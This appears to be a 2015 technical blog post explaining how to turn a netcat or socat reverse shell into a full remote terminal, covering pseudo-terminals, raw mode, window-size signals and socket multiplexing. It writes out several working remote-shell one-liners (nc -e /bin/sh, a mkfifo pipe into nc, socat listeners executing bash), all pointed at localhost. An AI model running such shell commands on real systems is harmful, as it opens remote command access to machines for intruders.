Thursday, December 03, 2015

From remote shell to remote terminal

If you like exploitation surely you've had your own reverse or connect-back shells. Set up a listening netcat, run the payload and boom: you get a shell back! Then you explore the box, start a program, want to stop it, and do Ctrl-C... no!!! You just lost your shell, because that interrupted netcat, not the remote process.

In this post we'll look at shells and terminals, from the most simple like this netcat with /bin/sh over the network, to a remote terminal emulator supporting terminal window size changes out of band. Think all the goodness SSH is doing for you, could we attempt something like it?

Simple: shell over socket

In the most simple implementation, a reverse shell on a target would just duplicate the socket file descriptor to stdin/stdout/stderr then execute /bin/sh.
You can find many answers online on how to do this, for example:
  • client
    nc -nvlp 1337
  • server:
    nc -e /bin/sh localhost 1337
Though -e is not available on all netcat versions, in particular OpenBSD's.
It's alright, you can also use:
  • server:
    rm -f x; mkfifo x; /bin/sh 2>&1 < x | nc localhost 1234 > x
I personally like socat, the swiss-army knife of networking:
  • server:
    socat TCP-LISTEN:1337,reuseaddr,fork EXEC:bash
  • client:
    socat - TCP:localhost:1337

So that works nicely and it's definitely handy in many situations, but it's quite annoying that it doesn't relay Ctrl-C (^C) because when you do it, it quits your shell. It can be very frustrating if you were not running socat in server+fork mode and you loose the shell. It also does not support tty programs, such as top, vim, emacs as well as ssh, su or sudo since they may ask interactively for a password.

Better: tty over socket

In case you needed to be convinced about socat magic:
  • server:
    socat TCP-LISTEN:1337,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint,sane
  • client:
    socat FILE:`tty`,raw,echo=0 TCP:localhost:1337

That's it! We can connect, we have a tty, we can do Ctrl-C (^C) and run tty programs: top, vim, emacs, ssh, su, sudo, etc.

Now there's one little downside, which you see if you run tty programs such as vim or htop (the window is small) or if you start typing long commands (it wraps weirdly). It's because the remote terminal does not have any size, so it uses the default (80x24).
We can fix it! First, see the size of your local terminal:
$ stty -a
speed 38400 baud; rows 40; columns 130; line = 0;
Now connect and set the remote size:
$ stty rows 40 cols 130
Done! As long as you don't resize your window, otherwise it breaks everything and you need to do it again.

So how to fix that? And how do terminal emulators even work? After all, socat did all the work for us here.

Implementing it

Since there is no option in socat to magically do that, first we need to re-implement both server and client sides of what socat was doing, then we will improve it.
  • server: we need to get a pseudo-terminal, which is OS-specific. On Linux we'll open /dev/ptmx, this gives us the master which we'll connect to the socket. With an ioctl we get the name of the slave and open its corresponding /dev/pts/N (like your terminal!), unlock it and give it as stdin/stdout/stderr to the shell.

  • client: we need to take over the terminal, the shell's stdin being a terminal we'll make it raw, then connect it to the socket. Making the terminal raw has the effect that signals such as Ctrl-C will now go on the socket.

Terminal window resizing

So we've reached the same point as we had with socat. Now, what's up with window changes? Well, turns out when you resize your terminal window a SIGWINCH signal is delivered!
Also, we can get and set the window size with ioctl TIOCGWINSZ and TIOCSWINSZ.

Here's what we can do: catch this signal on the client, get the new window size, send it over the socket to the server, which will set the window size on the pseudo-terminal, and send the same signal to the shell so it knows it can resize.

Unfortunately there's one problem: we have only one socket, and it already relays the terminal data. So we need another, or rather, we can multiplex the socket to give us 2 channels: one to exchange data, one to push window size information from client to server.

We do that and finally... we have it ! A remote shell terminal, which we can resize and it gets updated. Fancy! I did an implementation in Go if you want to look or try.

Now if we just add some TLS, we're not too far from SSH. And using this multiplex of streams on the socket we could even add port forwarding, file transfer, etc. all in the same connection.

No comments:

Post a Comment